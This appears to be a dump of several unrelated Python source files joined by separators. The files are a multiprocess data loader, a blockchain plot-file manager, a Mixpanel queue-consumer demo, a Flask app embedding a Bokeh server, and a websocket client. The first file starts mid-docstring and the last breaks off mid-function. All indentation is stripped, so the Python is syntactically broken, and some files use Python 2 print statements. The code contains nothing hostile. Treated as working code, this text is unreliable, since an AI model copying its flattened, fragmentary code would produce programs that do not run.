:type collator: Collator
:param collator: defined the merging strategy for a transformed batch.
Default: None
:type num_workers: int
:param num_workers: the number of sub-process to load, transform and collate
the batch. ``0`` means using single-process. Default: 0
:type timeout: int
:param timeout: if positive, means the timeout value(second) for collecting a
batch from workers. Default: 0
:type divide: bool
:param divide: define the paralleling strategy in multi-processing mode.
``True`` means one batch is divided into :attr:`num_workers` pieces, and
the workers will process these pieces parallelly. ``False`` means
different sub-process will process different batch. Default: False
"""
if num_workers < 0:
raise ValueError("num_workers should not be negative")
if timeout < 0:
raise ValueError("timeout should not be negative")
if divide and num_workers <= 1:
raise ValueError("divide should not be set to True when num_workers <= 1")
self.dataset = dataset
self.num_workers = num_workers
self.timeout = timeout
self.divide = divide
if isinstance(dataset, StreamDataset):
self.sampler = sampler if sampler else StreamSampler(batch_size=1)
assert isinstance(
self.sampler, StreamSampler
), "types of dataset and sampler do not match"
else:
assert isinstance(
dataset, Dataset
), "Can not recognize this kind of dataset: %s" % type(dataset)
self.sampler = (
sampler
if sampler
else SequentialSampler(dataset, batch_size=1, drop_last=False)
)
assert isinstance(
self.sampler, MapSampler
), "types of dataset and sampler do not match"
if divide:
if self.sampler.batch_size <= self.num_workers:
raise ValueError(
"batch size must not smaller than num_workers in divide mode."
)
elif self.sampler.batch_size % self.num_workers:
logger.warning(
"batch size is not divisible by num_workers, may lose performance in divide mode."
)
if transform is None:
self.transform = PseudoTransform()
else:
self.transform = transform
if collator is None:
self.collator = Collator()
else:
self.collator = collator
self.__initialized = True
def __iter__(self):
if platform.system() == "Windows" and self.num_workers > 0:
print(
"pyarrow.plasma does not support ParallelDataLoader on windows, changing num_workers to be zero"
)
self.num_workers = 0
if isinstance(self.dataset, StreamDataset):
if not self.num_workers:
return _SerialStreamDataLoaderIter(self)
else:
return _ParallelStreamDataLoaderIter(self)
else:
assert isinstance(
self.dataset, Dataset
), "Can not recognize this kind of dataset: %s" % type(self.dataset)
if not self.num_workers:
return _SerialMapDataLoaderIter(self)
else:
return _ParallelMapDataLoaderIter(self)
def __len__(self):
return len(self.sampler)
class _BaseMapDataLoaderIter:
def __init__(self, loader):
self.dataset = loader.dataset
self.sampler = loader.sampler
self.seed = _random_seed_generator().__next__()
self.transform = loader.transform
self.collator = loader.collator
self.num_workers = loader.num_workers
self.timeout = loader.timeout
self.divide = loader.divide
self.num_processed = 0
def _get_next_batch(self):
raise NotImplementedError
def __len__(self):
return len(self.sampler)
def __iter__(self):
return self
def __next__(self):
if self.num_processed >= len(self):
raise StopIteration
minibatch = self._get_next_batch()
self.num_processed += 1
return minibatch
class _SerialMapDataLoaderIter(_BaseMapDataLoaderIter):
def __init__(self, loader):
super(_SerialMapDataLoaderIter, self).__init__(loader)
self.indices_iter = iter(self.sampler)
def _get_next_batch(self):
indices = next(self.indices_iter)
items = [self.dataset[idx] for idx in indices]
trans_items = self.transform.apply_batch(items)
return self.collator.apply(trans_items)
class _ParallelMapDataLoaderIter(_BaseMapDataLoaderIter):
__initialized = False
def __init__(self, loader):
super(_ParallelMapDataLoaderIter, self).__init__(loader)
self.task_queues = [
multiprocessing.Queue(maxsize=2) for _ in range(self.num_workers)
]
self.feed_batch_idx = multiprocessing.Value("i", 0)
self.target_batch_idx = multiprocessing.Value("i", 0)
self.shutdown_flag = multiprocessing.Value("i", 0)
self.trans_data_queues = [
multiprocessing.Queue(maxsize=1) for _ in range(self.num_workers)
]
# use shared-memory queue implemented by pyarrow plasma store.
from ._queue import PlasmaShmQueue
self.batch_queue = PlasmaShmQueue(maxsize=2)
self.task_feeding_worker = multiprocessing.Process(
target=_task_feeding_loop,
args=(
iter(self.sampler),
self.task_queues,
self.num_workers,
self.divide,
self.shutdown_flag,
self.feed_batch_idx,
),
daemon=True,
)
self.task_feeding_worker.start()
self.workers = []
for worker_id in range(self.num_workers):
worker = multiprocessing.Process(
target=_worker_loop,
args=(
self.dataset,
self.task_queues[worker_id],
self.trans_data_queues[worker_id],
self.transform,
self.seed + worker_id + 1,
self.shutdown_flag,
),
daemon=True,
)
worker.start()
self.workers.append(worker)
if self.divide:
self.data_collecting_worker = multiprocessing.Process(
target=_data_gathering_loop,
args=(
self.trans_data_queues,
self.batch_queue,
self.collator,
len(self),
self.num_workers,
self.shutdown_flag,
self.target_batch_idx,
),
daemon=True,
)
else:
self.data_collecting_worker = multiprocessing.Process(
target=_data_selecting_loop,
args=(
self.trans_data_queues,
self.batch_queue,
self.collator,
len(self),
self.num_workers,
self.shutdown_flag,
self.target_batch_idx,
),
daemon=True,
)
self.data_collecting_worker.start()
self.__initialized = True
def _check_workers(self):
# Check the status of each worker.
if not self.data_collecting_worker.is_alive():
exitcode = self.task_feeding_worker.exitcode
if exitcode != 0:
raise RuntimeError("data collecting worker died. {}".format(exitcode))
if not self.task_feeding_worker.is_alive():
exitcode = self.task_feeding_worker.exitcode
if exitcode != 0:
raise RuntimeError("task feeding worker died. {}".format(exitcode))
for worker_id, worker in enumerate(self.workers):
if not worker.is_alive():
exitcode = worker.exitcode
if exitcode != 0:
raise RuntimeError("worker:{} died. {}".format(worker_id, exitcode))
logger.debug("all workers are alive.")
def _try_get_next_batch(self):
start_time = time.time()
while True:
self._check_workers()
try:
return self.batch_queue.get(timeout=1)
except queue.Empty:
logger.debug("batch queue empty!")
waited_time = time.time() - start_time
if self.timeout > 0:
if waited_time > self.timeout:
raise RuntimeError("get_next_batch timeout!")
def _get_next_batch(self):
batch_data = self._try_get_next_batch()
return batch_data
def _shutdown(self):
with self.shutdown_flag.get_lock():
self.shutdown_flag.value = 1
if self.task_feeding_worker.is_alive():
self.task_feeding_worker.terminate()
self.task_feeding_worker.join()
if self.data_collecting_worker.is_alive():
self.data_collecting_worker.terminate()
self.data_collecting_worker.join()
for worker in self.workers:
if worker.is_alive():
worker.terminate()
worker.join()
for q in self.trans_data_queues:
q.cancel_join_thread()
q.close()
for q in self.task_queues:
q.cancel_join_thread()
q.close()
self.batch_queue.cancel_join_thread()
self.batch_queue.close()
def __del__(self):
if self.__initialized:
self._shutdown()
class _BaseStreamDataLoaderIter:
def __init__(self, loader):
self.dataset = loader.dataset
self.sampler = loader.sampler
self.transform = loader.transform
self.collator = loader.collator
self.num_workers = loader.num_workers
self.timeout = loader.timeout
def _get_next_batch(self):
raise NotImplementedError
def __iter__(self):
return self
def __next__(self):
return self._get_next_batch()
class _SerialStreamDataLoaderIter(_BaseStreamDataLoaderIter):
def __init__(self, loader):
super().__init__(loader)
self.dataset_iter = iter(self.dataset)
self.idx = 0
self.data = None
def _get_next_batch(self):
ret = []
start_time = time.time()
while len(ret) != self.sampler.batch_size:
waited_time = time.time() - start_time
if self.timeout > 0 and waited_time > self.timeout:
raise RuntimeError("get_next_batch timeout!")
if self.idx != 0:
data = self.data
else:
try:
raw_data = next(self.dataset_iter)
except:
continue
assert len(raw_data) == 2 and isinstance(
raw_data[0], bool
), "raw_data must be a tuple"
if not raw_data[0]:
data = list((x,) for x in raw_data[1])
else:
data = raw_data[1]
for idx in range(self.idx, len(data[0])):
trans_data = self.transform.apply(tuple(e[idx] for e in data))
ret.append(trans_data)
if len(ret) == self.sampler.batch_size:
if idx + 1 == len(data[0]):
self.idx = 0
self.data = None
else:
self.idx = idx
self.data = data
break
return self.collator.apply(ret)
class _ParallelStreamDataLoaderIter(_BaseStreamDataLoaderIter):
__initialized = False
def __init__(self, loader):
super().__init__(loader)
self.shutdown_flag = multiprocessing.Value("i", 0)
self.raw_data_queues = [
multiprocessing.Queue(maxsize=1) for _ in range(self.num_workers)
]
self.trans_data_queues = [
multiprocessing.Queue(maxsize=1) for _ in range(self.num_workers)
]
# shared-memory queue implemented by pyarrow plasma store
from ._queue import PlasmaShmQueue
self.batch_queue = PlasmaShmQueue(maxsize=2)
self.recieve_worker = multiprocessing.Process(target=self._recieve, daemon=True)
self.recieve_worker.start()
self.transform_workers = []
for worker_id in range(self.num_workers):
worker = multiprocessing.Process(
target=self._transform, args=(worker_id,), daemon=True
)
worker.start()
self.transform_workers.append(worker)
self.collect_worker = multiprocessing.Process(target=self._collect, daemon=True)
self.collect_worker.start()
self.__initialized = True
def _recieve(self):
dataset_iter = iter(self.dataset)
cnt = -1
while True:
if self.shutdown_flag.value == 1:
break
raw_data = next(dataset_iter)
assert len(raw_data) == 2 and isinstance(
raw_data[0], bool
), "raw_data must be a tuple"
if not raw_data[0]:
data = list((x,) for x in raw_data[1])
else:
data = raw_data[1]
for idx in range(len(data[0])):
while True:
cnt += 1
qid = cnt % self.num_workers
try:
self.raw_data_queues[qid].put(tuple(e[idx] for e in data))
break
except queue.Full:
if self.shutdown_flag.value == 1:
break
logger.debug("raw data queue is full")
def _transform(self, worker_id):
while True:
if self.shutdown_flag.value == 1:
break
try:
data = self.raw_data_queues[worker_id].get(timeout=MP_QUEUE_GET_TIMEOUT)
except queue.Empty:
continue
trans_data = self.transform.apply(data)
while True:
try:
self.trans_data_queues[worker_id].put(trans_data)
break
except queue.Full:
if self.shutdown_flag.value == 1:
break
logger.debug("batch queue if full")
def _collect(self):
cnt = -1
trans_items = []
while True:
if self.shutdown_flag.value == 1:
break
cnt += 1
queue_id = cnt % self.num_workers
try:
trans_item = self.trans_data_queues[queue_id].get(
timeout=MP_QUEUE_GET_TIMEOUT
)
except queue.Empty:
continue
trans_items.append(trans_item)
if len(trans_items) == self.sampler.batch_size:
batch_data = self.collator.apply(trans_items)
while True:
try:
self.batch_queue.put(batch_data, timeout=1)
break
except queue.Full:
if self.shutdown_flag.value == 1:
break
logger.debug("batch queue is full")
trans_items = []
def _check_workers(self):
if not self.collect_worker.is_alive():
exitcode = self.collect_worker.exitcode
if exitcode != 0:
raise RuntimeError("collator worker died. {}".format(exitcode))
for worker_id, worker in enumerate(self.transform_workers):
if not worker.is_alive():
exitcode = worker.exitcode
if exitcode != 0:
raise RuntimeError(
"worker: {} died. {}".format(worker_id, exitcode)
)
def _try_get_next_batch(self):
start_time = time.time()
while True:
self._check_workers()
try:
return self.batch_queue.get(timeout=1)
except queue.Empty:
logger.debug("batch queue empty!")
waited_time = time.time() - start_time
if self.timeout > 0 and waited_time > self.timeout:
raise RuntimeError("get_next_batch timeout!")
def _get_next_batch(self):
batch_data = self._try_get_next_batch()
return batch_data
def _shutdown(self):
with self.shutdown_flag.get_lock():
self.shutdown_flag.value = 1
if self.recieve_worker.is_alive():
self.recieve_worker.terminate()
self.recieve_worker.join()
if self.collect_worker.is_alive():
self.collect_worker.terminate()
self.collect_worker.join()
for worker in self.transform_workers:
if worker.is_alive():
worker.terminate()
worker.join()
for q in self.raw_data_queues:
q.cancel_join_thread()
q.close()
for q in self.trans_data_queues:
q.cancel_join_thread()
q.close()
self.batch_queue.cancel_join_thread()
self.batch_queue.close()
def __del__(self):
if self.__initialized:
self._shutdown()
def _task_feeding_loop(
indices_iter, task_queues, num_workers, divide, shutdown_flag, feed_batch_idx
):
# Feed the indices into the task queues
while True:
if shutdown_flag.value == 1:
break
batch_idx = feed_batch_idx.value
try:
indices = next(indices_iter)
except StopIteration:
break
if divide:
# make sure all task_queues is ready for put
while any([q.full() for q in task_queues]):
if shutdown_flag.value == 1:
return
# divide into small pieces, feed to different workers.
sub_num = math.ceil(len(indices) / num_workers)
for worker_id in range(num_workers):
sub_indices = indices[worker_id * sub_num : (worker_id + 1) * sub_num]
task_queues[worker_id].put((batch_idx, sub_indices))
else:
# distribute tasks to different workers uniformly.
target_id = batch_idx % num_workers
while task_queues[target_id].full():
if shutdown_flag.value == 1:
return
task_queues[target_id].put((batch_idx, indices))
with feed_batch_idx.get_lock():
feed_batch_idx.value += 1
def _worker_loop(dataset, task_queue, trans_data_queue, transform, seed, shutdown_flag):
# Get dataset items and do the transform
random.seed(seed)
np.random.seed(seed)
while True:
if shutdown_flag.value == 1:
break
try:
batch_idx, indices = task_queue.get(timeout=MP_QUEUE_GET_TIMEOUT)
except queue.Empty:
continue
if len(indices) > 0:
items = [dataset[idx] for idx in indices]
trans_items = transform.apply_batch(items)
else:
# in case of incomplete last batch
trans_items = ()
while True:
try:
trans_data_queue.put((batch_idx, trans_items), timeout=1)
break
except queue.Full:
if shutdown_flag.value == 1:
break
logger.debug("batch part queue is full!")
def _data_gathering_loop(
trans_data_queues,
batch_queue,
collator,
length,
num_workers,
shutdown_flag,
target_idx,
):
# Gathering the small pieces of batch data into full batch data
while True:
if shutdown_flag.value == 1:
break
target_batch_idx = target_idx.value
if target_batch_idx >= length:
break
full_trans_items = []
for worker_id in range(num_workers):
while True:
try:
batch_idx, trans_items = trans_data_queues[worker_id].get(
timeout=MP_QUEUE_GET_TIMEOUT
)
break
except queue.Empty:
if shutdown_flag.value == 1:
break
logger.debug(
"worker:{} data queue get timeout! target batch idx:{}".format(
worker_id, target_batch_idx
)
)
if batch_idx != target_batch_idx:
raise RuntimeError(
"Unexperted batch_idx in data gathering loop. worker_id:{}.".format(
worker_id
)
)
else:
full_trans_items.extend(trans_items)
# Merge different parts into a batch.
full_batch = collator.apply(full_trans_items)
while True:
try:
batch_queue.put(full_batch, timeout=1)
break
except queue.Full:
if shutdown_flag.value == 1:
break
logger.debug("batch queue is full!")
with target_idx.get_lock():
target_idx.value += 1
batch_queue.disconnect_client()
def _data_selecting_loop(
trans_data_queues,
batch_queue,
collator,
length,
num_workers,
shutdown_flag,
target_idx,
):
# Make sure that batch is generated exactly with the same order as generated indices
while True:
if shutdown_flag.value == 1:
break
target_batch_idx = target_idx.value
if target_batch_idx >= length:
break
target_worker_id = target_batch_idx % num_workers
while True:
try:
batch_idx, trans_items = trans_data_queues[target_worker_id].get(
timeout=MP_QUEUE_GET_TIMEOUT
)
batch_data = collator.apply(trans_items)
break
except queue.Empty:
if shutdown_flag.value == 1:
break
logger.debug(
"worker:{} data queue get timeout! target batch idx:{}".format(
target_worker_id, target_batch_idx
)
)
if batch_idx != target_batch_idx:
raise RuntimeError(
"batch_idx {} mismatch the target_batch_idx {}".format(
batch_idx, target_batch_idx
)
)
while True:
try:
batch_queue.put(batch_data, timeout=1)
break
except queue.Full:
if shutdown_flag.value == 1:
break
logger.debug("batch queue is full!")
with target_idx.get_lock():
target_idx.value += 1
batch_queue.disconnect_client()
|
manager.py
|
from dataclasses import dataclass
import logging
import threading
import time
import traceback
from pathlib import Path
from typing import Any, Callable, Dict, List, Optional, Set, Tuple
from concurrent.futures.thread import ThreadPoolExecutor
from blspy import G1Element
from chiapos import DiskProver
from rolls.consensus.pos_quality import UI_ACTUAL_SPACE_CONSTANT_FACTOR, _expected_plot_size
from rolls.plotting.util import (
PlotInfo,
PlotRefreshResult,
PlotsRefreshParameter,
get_plot_filenames,
parse_plot_info,
stream_plot_info_pk,
stream_plot_info_ph,
)
from rolls.util.ints import uint16
from rolls.util.path import mkdir
from rolls.util.streamable import Streamable, streamable
from rolls.types.blockchain_format.proof_of_space import ProofOfSpace
from rolls.types.blockchain_format.sized_bytes import bytes32
from rolls.wallet.derive_keys import master_sk_to_local_sk
log = logging.getLogger(__name__)
CURRENT_VERSION: uint16 = uint16(0)
@dataclass(frozen=True)
@streamable
class CacheEntry(Streamable):
pool_public_key: Optional[G1Element]
pool_contract_puzzle_hash: Optional[bytes32]
plot_public_key: G1Element
@dataclass(frozen=True)
@streamable
class DiskCache(Streamable):
version: uint16
data: List[Tuple[bytes32, CacheEntry]]
class Cache:
_changed: bool
_data: Dict[bytes32, CacheEntry]
def __init__(self, path: Path):
self._changed = False
self._data = {}
self._path = path
if not path.parent.exists():
mkdir(path.parent)
def __len__(self):
return len(self._data)
def update(self, plot_id: bytes32, entry: CacheEntry):
self._data[plot_id] = entry
self._changed = True
def remove(self, cache_keys: List[bytes32]):
for key in cache_keys:
if key in self._data:
del self._data[key]
self._changed = True
def save(self):
try:
disk_cache: DiskCache = DiskCache(
CURRENT_VERSION, [(plot_id, cache_entry) for plot_id, cache_entry in self.items()]
)
serialized: bytes = bytes(disk_cache)
self._path.write_bytes(serialized)
self._changed = False
log.info(f"Saved {len(serialized)} bytes of cached data")
except Exception as e:
log.error(f"Failed to save cache: {e}, {traceback.format_exc()}")
def load(self):
try:
serialized = self._path.read_bytes()
log.info(f"Loaded {len(serialized)} bytes of cached data")
stored_cache: DiskCache = DiskCache.from_bytes(serialized)
if stored_cache.version != CURRENT_VERSION:
# TODO, Migrate or drop current cache if the version changes.
raise ValueError(f"Invalid cache version {stored_cache.version}. Expected version {CURRENT_VERSION}.")
self._data = {plot_id: cache_entry for plot_id, cache_entry in stored_cache.data}
except FileNotFoundError:
log.debug(f"Cache {self._path} not found")
except Exception as e:
log.error(f"Failed to load cache: {e}, {traceback.format_exc()}")
def keys(self):
return self._data.keys()
def items(self):
return self._data.items()
def get(self, plot_id):
return self._data.get(plot_id)
def changed(self):
return self._changed
def path(self):
return self._path
class PlotManager:
plots: Dict[Path, PlotInfo]
plot_filename_paths: Dict[str, Tuple[str, Set[str]]]
plot_filename_paths_lock: threading.Lock
failed_to_open_filenames: Dict[Path, int]
no_key_filenames: Set[Path]
farmer_public_keys: List[G1Element]
pool_public_keys: List[G1Element]
cache: Cache
match_str: Optional[str]
show_memo: bool
open_no_key_filenames: bool
last_refresh_time: float
refresh_parameter: PlotsRefreshParameter
log: Any
_lock: threading.Lock
_refresh_thread: Optional[threading.Thread]
_refreshing_enabled: bool
_refresh_callback: Callable
def __init__(
self,
root_path: Path,
refresh_callback: Callable,
match_str: Optional[str] = None,
show_memo: bool = False,
open_no_key_filenames: bool = False,
refresh_parameter: PlotsRefreshParameter = PlotsRefreshParameter(),
):
self.root_path = root_path
self.plots = {}
self.plot_filename_paths = {}
self.plot_filename_paths_lock = threading.Lock()
self.failed_to_open_filenames = {}
self.no_key_filenames = set()
self.farmer_public_keys = []
self.pool_public_keys = []
self.cache = Cache(self.root_path.resolve() / "cache" / "plot_manager.dat")
self.match_str = match_str
self.show_memo = show_memo
self.open_no_key_filenames = open_no_key_filenames
self.last_refresh_time = 0
self.refresh_parameter = refresh_parameter
self.log = logging.getLogger(__name__)
self._lock = threading.Lock()
self._refresh_thread = None
self._refreshing_enabled = False
self._refresh_callback = refresh_callback # type: ignore
def __enter__(self):
self._lock.acquire()
def __exit__(self, exc_type, exc_value, exc_traceback):
self._lock.release()
def set_refresh_callback(self, callback: Callable):
self._refresh_callback = callback # type: ignore
def set_public_keys(self, farmer_public_keys: List[G1Element], pool_public_keys: List[G1Element]):
self.farmer_public_keys = farmer_public_keys
self.pool_public_keys = pool_public_keys
def public_keys_available(self):
return len(self.farmer_public_keys) and len(self.pool_public_keys)
def plot_count(self):
with self:
return len(self.plots)
def needs_refresh(self) -> bool:
return time.time() - self.last_refresh_time > float(self.refresh_parameter.interval_seconds)
def start_refreshing(self):
self._refreshing_enabled = True
if self._refresh_thread is None or not self._refresh_thread.is_alive():
self.cache.load()
self._refresh_thread = threading.Thread(target=self._refresh_task)
self._refresh_thread.start()
def stop_refreshing(self):
self._refreshing_enabled = False
if self._refresh_thread is not None and self._refresh_thread.is_alive():
self._refresh_thread.join()
self._refresh_thread = None
def trigger_refresh(self):
log.debug("trigger_refresh")
self.last_refresh_time = 0
def _refresh_task(self):
while self._refreshing_enabled:
while not self.needs_refresh() and self._refreshing_enabled:
time.sleep(1)
plot_filenames: Dict[Path, List[Path]] = get_plot_filenames(self.root_path)
plot_directories: Set[Path] = set(plot_filenames.keys())
plot_paths: List[Path] = []
for paths in plot_filenames.values():
plot_paths += paths
total_result: PlotRefreshResult = PlotRefreshResult()
while self.needs_refresh() and self._refreshing_enabled:
batch_result: PlotRefreshResult = self.refresh_batch(plot_paths, plot_directories)
total_result += batch_result
self._refresh_callback(batch_result)
if batch_result.remaining_files == 0:
break
batch_sleep = self.refresh_parameter.batch_sleep_milliseconds
self.log.debug(f"refresh_plots: Sleep {batch_sleep} milliseconds")
time.sleep(float(batch_sleep) / 1000.0)
# Cleanup unused cache
available_ids = set([plot_info.prover.get_id() for plot_info in self.plots.values()])
invalid_cache_keys = [plot_id for plot_id in self.cache.keys() if plot_id not in available_ids]
self.cache.remove(invalid_cache_keys)
self.log.debug(f"_refresh_task: cached entries removed: {len(invalid_cache_keys)}")
if self.cache.changed():
self.cache.save()
self.last_refresh_time = time.time()
self.log.debug(
f"_refresh_task: total_result.loaded_plots {total_result.loaded_plots}, "
f"total_result.removed_plots {total_result.removed_plots}, "
f"total_result.loaded_size {total_result.loaded_size / (1024 ** 4):.2f} TiB, "
f"total_duration {total_result.duration:.2f} seconds"
)
def refresh_batch(self, plot_paths: List[Path], plot_directories: Set[Path]) -> PlotRefreshResult:
start_time: float = time.time()
result: PlotRefreshResult = PlotRefreshResult()
counter_lock = threading.Lock()
log.debug(f"refresh_batch: {len(plot_paths)} files in directories {plot_directories}")
if self.match_str is not None:
log.info(f'Only loading plots that contain "{self.match_str}" in the file or directory name')
def process_file(file_path: Path) -> Optional[PlotInfo]:
filename_str = str(file_path)
if self.match_str is not None and self.match_str not in filename_str:
return None
if not file_path.exists():
return None
if (
file_path in self.failed_to_open_filenames
and (time.time() - self.failed_to_open_filenames[file_path])
< self.refresh_parameter.retry_invalid_seconds
):
# Try once every `refresh_parameter.retry_invalid_seconds` seconds to open the file
return None
if file_path in self.plots:
try:
stat_info = file_path.stat()
except Exception as e:
log.error(f"Failed to open file {file_path}. {e}")
return None
if stat_info.st_mtime == self.plots[file_path].time_modified:
return self.plots[file_path]
entry: Optional[Tuple[str, Set[str]]] = self.plot_filename_paths.get(file_path.name)
if entry is not None:
loaded_parent, duplicates = entry
if str(file_path.parent) in duplicates:
log.debug(f"Skip duplicated plot {str(file_path)}")
return None
try:
with counter_lock:
if result.processed_files >= self.refresh_parameter.batch_size:
result.remaining_files += 1
return None
result.processed_files += 1
prover = DiskProver(str(file_path))
log.debug(f"process_file {str(file_path)}")
expected_size = _expected_plot_size(prover.get_size()) * UI_ACTUAL_SPACE_CONSTANT_FACTOR
stat_info = file_path.stat()
# TODO: consider checking if the file was just written to (which would mean that the file is still
# being copied). A segfault might happen in this edge case.
if prover.get_size() >= 30 and stat_info.st_size < 0.98 * expected_size:
log.warning(
f"Not farming plot {file_path}. Size is {stat_info.st_size / (1024**3)} GiB, but expected"
f" at least: {expected_size / (1024 ** 3)} GiB. We assume the file is being copied."
)
return None
cache_entry = self.cache.get(prover.get_id())
if cache_entry is None:
(
pool_public_key_or_puzzle_hash,
farmer_public_key,
local_master_sk,
) = parse_plot_info(prover.get_memo())
# Only use plots that correct keys associated with them
if farmer_public_key not in self.farmer_public_keys:
log.warning(f"Plot {file_path} has a farmer public key that is not in the farmer's pk list.")
self.no_key_filenames.add(file_path)
if not self.open_no_key_filenames:
return None
pool_public_key: Optional[G1Element] = None
pool_contract_puzzle_hash: Optional[bytes32] = None
if isinstance(pool_public_key_or_puzzle_hash, G1Element):
pool_public_key = pool_public_key_or_puzzle_hash
else:
assert isinstance(pool_public_key_or_puzzle_hash, bytes32)
pool_contract_puzzle_hash = pool_public_key_or_puzzle_hash
if pool_public_key is not None and pool_public_key not in self.pool_public_keys:
log.warning(f"Plot {file_path} has a pool public key that is not in the farmer's pool pk list.")
self.no_key_filenames.add(file_path)
if not self.open_no_key_filenames:
return None
local_sk = master_sk_to_local_sk(local_master_sk)
plot_public_key: G1Element = ProofOfSpace.generate_plot_public_key(
local_sk.get_g1(), farmer_public_key, pool_contract_puzzle_hash is not None
)
cache_entry = CacheEntry(pool_public_key, pool_contract_puzzle_hash, plot_public_key)
self.cache.update(prover.get_id(), cache_entry)
with self.plot_filename_paths_lock:
if file_path.name not in self.plot_filename_paths:
self.plot_filename_paths[file_path.name] = (str(Path(prover.get_filename()).parent), set())
else:
self.plot_filename_paths[file_path.name][1].add(str(Path(prover.get_filename()).parent))
if len(self.plot_filename_paths[file_path.name][1]) > 0:
log.warning(
f"Have multiple copies of the plot {file_path} in "
f"{self.plot_filename_paths[file_path.name][1]}."
)
return None
new_plot_info: PlotInfo = PlotInfo(
prover,
cache_entry.pool_public_key,
cache_entry.pool_contract_puzzle_hash,
cache_entry.plot_public_key,
stat_info.st_size,
stat_info.st_mtime,
)
with counter_lock:
result.loaded_plots += 1
result.loaded_size += stat_info.st_size
if file_path in self.failed_to_open_filenames:
del self.failed_to_open_filenames[file_path]
except Exception as e:
tb = traceback.format_exc()
log.error(f"Failed to open file {file_path}. {e} {tb}")
self.failed_to_open_filenames[file_path] = int(time.time())
return None
log.info(f"Found plot {file_path} of size {new_plot_info.prover.get_size()}")
if self.show_memo:
plot_memo: bytes32
if pool_contract_puzzle_hash is None:
plot_memo = stream_plot_info_pk(pool_public_key, farmer_public_key, local_master_sk)
else:
plot_memo = stream_plot_info_ph(pool_contract_puzzle_hash, farmer_public_key, local_master_sk)
plot_memo_str: str = plot_memo.hex()
log.info(f"Memo: {plot_memo_str}")
return new_plot_info
with self, ThreadPoolExecutor() as executor:
# First drop all plots we have in plot_filename_paths but not longer in the filesystem or set in config
def plot_removed(test_path: Path):
return not test_path.exists() or test_path.parent not in plot_directories
with self.plot_filename_paths_lock:
filenames_to_remove: List[str] = []
for plot_filename, paths_entry in self.plot_filename_paths.items():
loaded_path, duplicated_paths = paths_entry
if plot_removed(Path(loaded_path) / Path(plot_filename)):
filenames_to_remove.append(plot_filename)
result.removed_plots += 1
# No need to check the duplicates here since we drop the whole entry
continue
paths_to_remove: List[str] = []
for path in duplicated_paths:
if plot_removed(Path(path) / Path(plot_filename)):
paths_to_remove.append(path)
result.removed_plots += 1
for path in paths_to_remove:
duplicated_paths.remove(path)
for filename in filenames_to_remove:
del self.plot_filename_paths[filename]
plots_refreshed: Dict[Path, PlotInfo] = {}
for new_plot in executor.map(process_file, plot_paths):
if new_plot is not None:
plots_refreshed[Path(new_plot.prover.get_filename())] = new_plot
self.plots = plots_refreshed
result.duration = time.time() - start_time
self.log.debug(
f"refresh_batch: loaded_plots {result.loaded_plots}, "
f"loaded_size {result.loaded_size / (1024 ** 4):.2f} TiB, "
f"removed_plots {result.removed_plots}, processed_plots {result.processed_files}, "
f"remaining_plots {result.remaining_files}, batch_size {self.refresh_parameter.batch_size}, "
f"duration: {result.duration:.2f} seconds"
)
return result
|
subprocess_consumer.py
|
import multiprocessing
import random
from mixpanel import Mixpanel, BufferedConsumer
'''
As your application scales, it's likely you'll want to
to detect events in one place and send them somewhere
else. For example, you might write the events to a queue
to be consumed by another process.
This demo shows how you might do things, using
a custom Consumer to consume events, and a
and a BufferedConsumer to send them to Mixpanel
'''
'''
You can provide custom communication behaviors
by providing your own consumer object to the
Mixpanel constructor. Consumers are expected to
have a single method, 'send', that takes an
endpoint and a json message.
'''
class QueueWriteConsumer(object):
def __init__(self, queue):
self.queue = queue
def send(self, endpoint, json_message):
self.queue.put((endpoint, json_message))
def do_tracking(project_token, distinct_id, queue):
'''
This process represents the work process where events
and updates are generated. This might be the service
thread of a web service, or some other process that
is mostly concerned with getting time-sensitive work
done.
'''
consumer = QueueWriteConsumer(queue)
mp = Mixpanel(project_token, consumer)
for i in xrange(100):
event = 'Tick'
mp.track(distinct_id, event, {'Tick Number': i})
print 'tick {0}'.format(i)
queue.put(None) # tell worker we're out of jobs
def do_sending(queue):
'''
This process is the analytics worker process- it can
wait on HTTP responses to Mixpanel without blocking
other jobs. This might be a queue consumer process
or just a separate thread from the code that observes
the things you want to measure.
'''
consumer = BufferedConsumer()
payload = queue.get()
while payload is not None:
consumer.send(*payload)
payload = queue.get()
consumer.flush()
if __name__ == '__main__':
# replace token with your real project token
token = '0ba349286c780fe53d8b4617d90e2d01'
distinct_id = ''.join(random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for x in xrange(32))
queue = multiprocessing.Queue()
sender = multiprocessing.Process(target=do_sending, args=(queue,))
tracker = multiprocessing.Process(target=do_tracking, args=(token, distinct_id, queue))
sender.start()
tracker.start()
tracker.join()
sender.join()
|
bokeh server flask.py
|
# -*- coding: utf-8 -*-
"""
Created on Sat May 26 13:19:57 2018
@author: Christophe
"""
from flask import Flask, render_template
from bokeh.embed import server_document
from bokeh.layouts import column
from bokeh.models import ColumnDataSource, Button
from bokeh.plotting import figure, curdoc
from bokeh.server.server import Server
from bokeh.themes import Theme
from tornado.ioloop import IOLoop
app = Flask(__name__)
from bokeh.sampledata.sea_surface_temperature import sea_surface_temperature
from multicast_receive import recieve_broadcast
def modify_doc(doc):
# doc = curdoc()
source = ColumnDataSource(data=dict(time=[0], temperature=[0]))
plot = figure(x_axis_type='datetime', y_range=(0, 25), y_axis_label='Temperature (Celsius)',
title="Sea Surface Temperature at 43.18, -70.43")
plot.line('time', 'temperature', source=source)
doc.add_root(column(plot,))
doc.theme = Theme(filename="theme.yaml")
print "updating:"
def updateit():
data = recieve_broadcast()
source.data = ColumnDataSource(data=data).data
doc.add_periodic_callback(updateit, 1000)
# Thread(target=updatetick).start()
@app.route('/', methods=['GET'])
def bkapp_page():
script = server_document('http://localhost:5006/bkapp')
return render_template("embed.html", script=script, template="Flask")
def bk_worker():
# Can't pass num_procs > 1 in this configuration. If you need to run multiple
# processes, see e.g. flask_gunicorn_embed.py
server = Server({'/bkapp': modify_doc}, io_loop=IOLoop(), allow_websocket_origin=["localhost:8000"])
server.start()
server.io_loop.start()
from threading import Thread
Thread(target=bk_worker).start()
if __name__ == '__main__':
print('Opening single process Flask app with embedded Bokeh application on http://localhost:8000/')
print()
print('Multiple connections may block the Bokeh app in this configuration!')
print('See "flask_gunicorn_embed.py" for one way to run multi-process')
app.run(port=8000)
|
timekeeper.py
|
import asyncio
import websockets
import time
import threading
import random
state = ""
send_freq = 10
async def hello():
global state
uri = "ws://192.168.1.2:8765"
async with websockets.connect(uri) as websocket:
while True:
await websocket.send(state)
back_val = await websocket.recv()
print(f"1 {back_val}")
time.sleep(send_freq)
def get_input():
global state
